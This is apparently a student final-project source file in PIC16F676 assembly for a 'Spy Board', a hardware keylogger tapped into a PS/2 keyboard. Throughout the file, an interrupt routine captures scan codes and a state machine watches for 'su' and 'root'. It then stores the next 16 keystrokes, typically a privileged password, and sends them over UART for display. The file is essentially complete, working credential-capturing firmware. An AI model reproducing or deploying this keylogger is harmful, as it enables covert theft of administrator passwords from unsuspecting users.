;Shawn Lankton ;Ryan Westafer ;RESET ; ;;;;;;; FINAL PROJECT for 676 'Spy Board' ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; This program implements a keyboard espionage device. It accepts a PS2 keyboard ; clock on RA1 and data on RC1. It quietly monitors keystrokes looking for certain ; patterns. The patterns 'su' and 'root' are currently watched for. When a pattern ; is found, the next 16 bytes are stored in RAM. The RAM buffer can be transmitted ; to the 18F452 through a 50kb/s UART transmission over RA5. The information is then ; displayed on the LCD screen. ; ;;;;;;; Program hierarchy ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; Mainline ; Initial ; 0x3ff ; Display ; UARTbyte ; LoopTime ; ;;;;;;; Assembler directives ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; list P=PIC16F676, F=INHX8M, C=160, N=0, ST=OFF, MM=ON, R=DEC, X=ON #include P16F676.inc __CONFIG ( _BODEN & _WDT_OFF & _MCLRE_OFF & _INTRC_OSC_NOCLKOUT ) errorlevel -302 ;Turn off bank 1 message ;;;;;;; Variables ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; cblock 0x020 ;Beginning of RAM ALIVECNT ;Counter for blinking "Alive" LED PATEMP ;Temporary variable for reading PORTA just once OLDPORTA ;Used for pushbutton switch state ENTRY ;Value used to select next message DTOFFSET ;Offset into DisplayTable NUMBYTES ;Number of bytes in message to be sent UTEMP ;Temporary variable for UART output BITCOUNT ;Counter for counting bits of UART output BTIME ;Counter for UART bit time BYTECOUNT ;Counter for display subroutines COUNT ;Variable for Counter subroutine COUNTER ;Another one SEND16 ;counts 16 bytes to send W_TEMP STATUS_TEMP BITCNT DBYTE ;data byte built by interrupt GOTBYTE ;flag to say we recieved a byte TEMPBYTE ;byte that's filled to when we interrupt DBYTE0 ;stored bytes DBYTE1 DBYTE2 DBYTE3 DBYTE4 DBYTE5 DBYTE6 DBYTE7 DBYTE8 DBYTE9 DBYTE10 DBYTE11 DBYTE12 DBYTE13 DBYTE14 DBYTE15 STATE ;maintains the state of the pattern detector endc ;;;;;;; Macro definitions ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; MOVLF macro literal,dest movlw literal movwf dest endm BITTIME macro literal movlw literal movwf BTIME decfsz BTIME,F goto $-1 nop endm READEE macro address bsf STATUS, 0 ; get into bank 1 (EE registers here) movlw address ; store address to read movwf EEADR ; set read address bsf EECON1, RD ; EE Read movf EEDATA, W ; Return byte in W bcf STATUS, 0 ; get back to bank 0 endm MOVFEE macro saddr,taddr bsf STATUS, 0 ; get into bank 1 (EE registers here) bsf EECON1, WREN ; enable writes movlw taddr ; store address to write movwf EEADR ; set write address in EEADR movf saddr, W ; store data to write movwf EEDATA ; set write data in EEDATA movlw 0x55 ; sequence: unlock write access movwf EECON2 ; movlw 0xAA ; movwf EECON2 ; bsf EECON1, WR ; start the write bcf EECON1, WREN ; disable writes bcf STATUS, 0 ; get back to bank 0 endm ;;;;;;; Vectors ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; org 0x0000 ;Reset vector goto Mainline org 0x0004 ;Interrupt vector goto ISR ;Process Keyboard Clock ;;;;;;; Mainline program ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Mainline call Initial ;Initialize everything LOOP_ call Display ;Update line 2 display message? call LoopTime ;Make looptime be ten milliseconds ENDLOOP_ ;;;;;;; Initial subroutine ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; This subroutine performs all initializations of variables and registers. Initial bsf STATUS,RP0 ;Initialize bank 1 registers call 0x3ff ;Get oscillator calibration value movwf OSCCAL ; and load it into OSCCAL MOVLF B'00000000',ANSEL ;Enable PORTA and PORTC digital I/O pins MOVLF B'11011110',TRISA ;Set I/O for PORTA MOVLF B'11111111',TRISC ;Set I/O for PORTC MOVLF B'01010101',OPTION_REG ;enable PORTA pullups; Timer0 prescaler of 64 MOVLF B'00010000',WPUA ;Use weak pullup only on PortA bit 4 bcf STATUS,RP0 ;Initialize bank 0 registers MOVLF B'00000111',CMCON ;Turn off comparator module movf PORTA,W ;Copy PORTA to OLDPORTA movwf OLDPORTA clrf ENTRY ;Start with first message clrf COUNT clrf STATE bsf INTCON,INTE ;Enable INT interrupts bsf INTCON,GIE ;Global interrupt enable bsf PORTA,5 ;Send Stop bit return ;;;;;;; Display subroutine ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; This subroutine looks at the pushbutton switch and sends out the next message ; each time the pushbutton is pressed. Display bcf INTCON, GIE movf PORTA,W ;Make copy of PORTA movwf PATEMP MOVLF 1, SEND16 IF_ PATEMP,4 == 0 ;If pushbutton is pressed IF_ OLDPORTA,4 == 1 ; but was not pressed last time ; then send message movf DBYTE0, W ;get byte from RAM call UARTbyte ;transmit byte movf DBYTE1, W ;etc. call UARTbyte movf DBYTE2, W call UARTbyte movf DBYTE3, W call UARTbyte movf DBYTE4, W call UARTbyte movf DBYTE5, W call UARTbyte movf DBYTE6, W call UARTbyte movf DBYTE7, W call UARTbyte movf DBYTE8, W call UARTbyte movf DBYTE9, W call UARTbyte movf DBYTE10, W call UARTbyte movf DBYTE11, W call UARTbyte movf DBYTE12, W call UARTbyte movf DBYTE13, W call UARTbyte movf DBYTE14, W call UARTbyte movf DBYTE15, W call UARTbyte ENDIF_ ENDIF_ movf PATEMP,W ;Update OLDPORTA from PATEMP movwf OLDPORTA bsf INTCON, GIE return ;;;;;;; UARTbyte subroutine ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; This subroutine sends WREG out RA5 using "bit-banged UART" format. ; The bit time averages out to be 20 microseconds. UARTbyte movwf UTEMP ;Copy W to UTEMP MOVLF 9,BITCOUNT ;Bit counter bcf STATUS,C ;This will be the Start bit REPEAT_ btfsc STATUS,C ;Copy C to RA5 bsf PORTA,5 btfss STATUS,C bcf PORTA,5 BITTIME 3 rrf UTEMP,F ;Nine-bit rotate through Carry bit decf BITCOUNT,F UNTIL_ .Z. bsf PORTA,5 ;Send Stop bit BITTIME 100 return ;;;;;;; LoopTime subroutine ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; This subroutine waits for TMR0 to roll over from 255 to 000 and to set the ; TMR0IF flag. Then it resets TMR0 to 256-156 = 100 to make TMR0 count ; with a scale of about 156 x 64 =9984, where 64 is the prescaler. LoopTime REPEAT_ UNTIL_ INTCON,T0IF == 1 ;Wait until ten milliseconds are up bcf INTCON,T0IF ;Clear flag MOVLF 100,TMR0 ;Skip over 100 x 64 counts return ;;;;;;; Pattern Recognition Subroutine ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; A state machine to recognize the proper sequences ; Receives next byte in DBYTE PatternRec ; 0 STATE movf STATE, F ; update status bits IF_ .Z. movf DBYTE, W addlw -27 ; makecode for 'S' IF_ .Z. MOVLF 1, STATE ;set next state bsf PORTA,0 ;blink LED for visual confirmation call LoopTime bcf PORTA,0 return ENDIF_ addlw -18 ; makecode for 'R' (counting prev sub) IF_ .Z. MOVLF 127, STATE ;set next state bsf PORTA,0 call LoopTime bcf PORTA,0 return ENDIF_ ; assume state is already zero return ENDIF_ ; 1 STATE movf STATE, W ; update status bits addlw -1 ; check to see if state is 1 IF_ .Z. movf DBYTE, W addlw -60 ; makecode for 'U' IF_ .Z. MOVLF 2, STATE ;set next state bsf PORTA,0 call LoopTime bcf PORTA,0 return ENDIF_ MOVLF 0, STATE return ENDIF_ ; 2 STATE movf STATE, W ; update status bits addlw -2 IF_ .Z. bsf PORTA,0 ;set LED for 'recording data' movf DBYTE, W movwf DBYTE0 incf STATE, F ; next state return ENDIF_ ; 3 STATE movf STATE, W ; update status bits addlw -3 IF_ .Z. movf DBYTE, W movwf DBYTE1 incf STATE, F ; next state return ENDIF_ ; 4 STATE movf STATE, W ; update status bits addlw -4 IF_ .Z. movf DBYTE, W movwf DBYTE2 incf STATE, F ; next state return ENDIF_ ; 5 STATE movf STATE, W ; update status bits addlw -5 IF_ .Z. movf DBYTE, W movwf DBYTE3 incf STATE, F ; next state return ENDIF_ ; 6 STATE movf STATE, W ; update status bits addlw -6 IF_ .Z. movf DBYTE, W movwf DBYTE4 incf STATE, F ; next state return ENDIF_ ; 7 STATE movf STATE, W ; update status bits addlw -7 IF_ .Z. movf DBYTE, W movwf DBYTE5 incf STATE, F ; next state return ENDIF_ ; 8 STATE movf STATE, W ; update status bits addlw -8 IF_ .Z. movf DBYTE, W movwf DBYTE6 incf STATE, F ; next state return ENDIF_ ; 9 STATE movf STATE, W ; update status bits addlw -9 IF_ .Z. movf DBYTE, W movwf DBYTE7 incf STATE, F ; next state return ENDIF_ ; 10 STATE movf STATE, W ; update status bits addlw -10 IF_ .Z. movf DBYTE, W movwf DBYTE8 incf STATE, F ; next state return ENDIF_ ; 11 STATE movf STATE, W ; update status bits addlw -11 IF_ .Z. movf DBYTE, W movwf DBYTE9 incf STATE, F ; next state return ENDIF_ ; 12 STATE movf STATE, W ; update status bits addlw -12 IF_ .Z. movf DBYTE, W movwf DBYTE10 incf STATE, F ; next state return ENDIF_ ; 13 STATE movf STATE, W ; update status bits addlw -13 IF_ .Z. movf DBYTE, W movwf DBYTE11 incf STATE, F ; next state return ENDIF_ ; 14 STATE movf STATE, W ; update status bits addlw -14 IF_ .Z. movf DBYTE, W movwf DBYTE12 incf STATE, F ; next state return ENDIF_ ; 15 STATE movf STATE, W ; update status bits addlw -15 IF_ .Z. movf DBYTE, W movwf DBYTE13 incf STATE, F ; next state return ENDIF_ ; 16 STATE movf STATE, W ; update status bits addlw -16 IF_ .Z. movf DBYTE, W movwf DBYTE14 incf STATE, F ; next state return ENDIF_ ; 17 STATE movf STATE, W ; update status bits addlw -17 IF_ .Z. movf DBYTE, W movwf DBYTE15 clrf STATE ; all done bcf PORTA,0 ;done recording return ENDIF_ ;############################################################ ; 127 STATE movf STATE, W ; update status bits addlw -127 IF_ .Z. movf DBYTE, W addlw -68 ; make code for 'O' IF_ .Z. MOVLF 128, STATE bsf PORTA,0 call LoopTime bcf PORTA,0 return ENDIF_ MOVLF 0, STATE return ENDIF_ ; 128 STATE movf STATE, W ; update status bits addlw -128 IF_ .Z. movf DBYTE, W addlw -68 ; make code for 'O' IF_ .Z. MOVLF 129, STATE bsf PORTA,0 call LoopTime bcf PORTA,0 return ENDIF_ MOVLF 0, STATE return ENDIF_ ; 129 STATE movf STATE, W ; update status bits addlw -129 IF_ .Z. movf DBYTE, W addlw -44 ; make code for 'T' IF_ .Z. MOVLF 130, STATE bsf PORTA,0 call LoopTime bcf PORTA,0 return ENDIF_ MOVLF 0, STATE return ENDIF_ ; 130 STATE movf STATE, W ; update status bits addlw -130 IF_ .Z. bsf PORTA,0 ;set LED for recording movf DBYTE, W movwf DBYTE0 incf STATE, F ; next state return ENDIF_ ; 131 STATE movf STATE, W ; update status bits addlw -131 IF_ .Z. movf DBYTE, W movwf DBYTE1 incf STATE, F ; next state return ENDIF_ ; 132 STATE movf STATE, W ; update status bits addlw -132 IF_ .Z. movf DBYTE, W movwf DBYTE2 incf STATE, F ; next state return ENDIF_ ; 133 STATE movf STATE, W ; update status bits addlw -133 IF_ .Z. movf DBYTE, W movwf DBYTE3 incf STATE, F ; next state return ENDIF_ ; 134 STATE movf STATE, W ; update status bits addlw -134 IF_ .Z. movf DBYTE, W movwf DBYTE4 incf STATE, F ; next state return ENDIF_ ; 135 STATE movf STATE, W ; update status bits addlw -135 IF_ .Z. movf DBYTE, W movwf DBYTE5 incf STATE, F ; next state return ENDIF_ ; 136 STATE movf STATE, W ; update status bits addlw -136 IF_ .Z. movf DBYTE, W movwf DBYTE6 incf STATE, F ; next state return ENDIF_ ; 137 STATE movf STATE, W ; update status bits addlw -137 IF_ .Z. movf DBYTE, W movwf DBYTE7 incf STATE, F ; next state return ENDIF_ ; 138 STATE movf STATE, W ; update status bits addlw -138 IF_ .Z. movf DBYTE, W movwf DBYTE8 incf STATE, F ; next state return ENDIF_ ; 139 STATE movf STATE, W ; update status bits addlw -139 IF_ .Z. movf DBYTE, W movwf DBYTE9 incf STATE, F ; next state return ENDIF_ ; 140 STATE movf STATE, W ; update status bits addlw -140 IF_ .Z. movf DBYTE, W movwf DBYTE10 incf STATE, F ; next state return ENDIF_ ; 141 STATE movf STATE, W ; update status bits addlw -141 IF_ .Z. movf DBYTE, W movwf DBYTE11 incf STATE, F ; next state return ENDIF_ ; 142 STATE movf STATE, W ; update status bits addlw -142 IF_ .Z. movf DBYTE, W movwf DBYTE12 incf STATE, F ; next state return ENDIF_ ; 143 STATE movf STATE, W ; update status bits addlw -143 IF_ .Z. movf DBYTE, W movwf DBYTE13 incf STATE, F ; next state return ENDIF_ ; 144 STATE movf STATE, W ; update status bits addlw -144 IF_ .Z. movf DBYTE, W movwf DBYTE14 incf STATE, F ; next state return ENDIF_ ; 145 STATE movf STATE, W ; update status bits addlw -145 IF_ .Z. movf DBYTE, W movwf DBYTE15 clrf STATE ; all done bcf PORTA,0 ;done recording return ENDIF_ return ;;;;;;; ISR, Interrupt Service Routine ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; This responds to clock edge of Keyboard CLK. ; CLK is PORTA, 4 ; DATA is PORTC, 1 ISR movwf W_TEMP ;Save W and STATUS swapf STATUS,W bcf STATUS,0 movwf STATUS_TEMP bcf INTCON,INTF ; clear interrupt flag clrf TEMPBYTE ; clear the byte we're building MOVLF 8, BITCNT REPEAT_ REPEAT_ UNTIL_ INTCON,INTF == 1 ; wait for next falling edge bcf INTCON, INTF ; clear flag indicating falling edge IF_ PORTC, 1 == 1 ; sample value of data bsf STATUS, C ELSE_ bcf STATUS, C ENDIF_ rrf TEMPBYTE, F ; rotate the bit in (LSB first) decf BITCNT, F ; keep track of bits UNTIL_ .Z. movf TEMPBYTE, W addlw -21 ;subtract hex 15 to get on our index IF_ .B. NOP ;byte was too low, ignore ELSE_ addlw -105 IF_ .NB. NOP ;byte was too high, ignore ELSE_ movf TEMPBYTE, W ;byte was ok movwf DBYTE call PatternRec ENDIF_ ENDIF_ call LoopTime ; delay long enough to skip the end call LoopTime call LoopTime swapf STATUS_TEMP,W ;Restore STATUS and W movwf STATUS swapf W_TEMP,F swapf W_TEMP,W bcf INTCON,INTF ;Clear flag last thing retfie ;Return from interrupt end